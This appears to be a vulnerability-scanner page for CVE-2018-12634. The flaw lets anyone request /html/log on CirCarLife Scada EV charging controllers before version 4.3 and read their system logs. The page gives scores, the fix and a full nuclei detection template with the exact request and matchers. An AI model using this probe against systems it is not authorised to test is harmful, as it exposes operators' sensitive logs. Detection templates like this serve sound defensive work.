CirCarLife Scada <4.3 - System Log Exposure

criticalseverity

9.8CVSS score

56.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

CirCarLife Scada before 4.3 allows remote attackers to obtain sensitive information via a direct request for the html/log or services/system/info.html URI. CirCarLife is an internet-connected electric vehicle charging station.

Impact

An attacker can gain access to sensitive system logs, potentially leading to unauthorized access or information disclosure.

Fix

Upgrade CirCarLife Scada to version 4.3 or above to fix the system log exposure vulnerability.

How to confirm it

Send: GET {{BaseURL}}/html/log
Positive when: contains in header "CirCarLife Scada" AND contains "user.debug" and "user.info" and "EVSE" AND status 200

Run it with nuclei: nuclei -id CVE-2018-12634 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-12634

info:
  name: CirCarLife Scada <4.3 - System Log Exposure
  author: geeknik
  severity: critical
  description: CirCarLife Scada before 4.3 allows remote attackers to obtain sensitive information via a direct request for the html/log or services/system/info.html URI. CirCarLife is an internet-connected electric vehicle charging station.
  impact: |
    An attacker can gain access to sensitive system logs, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade CirCarLife Scada to version 4.3 or above to fix the system log exposure vulnerability.
  reference:
    - https://circontrol.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12634
    - https://www.seebug.org/vuldb/ssvid-97353
    - https://www.exploit-db.com/exploits/45384/
    - https://github.com/SadFud/Exploits/tree/master/Real%20World/Suites/cir-pwn-life
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-12634
    cwe-id: CWE-200
    epss-score: 0.56401
    epss-percentile: 0.99063
    cpe: cpe:2.3:a:circontrol:circarlife_scada:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: circontrol
    product: circarlife_scada
  tags: cve,cve2018,scada,circontrol,circarlife,logs,edb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/html/log"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "CirCarLife Scada"

      - type: word
        words:
          - "user.debug"
          - "user.info"
          - "EVSE"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from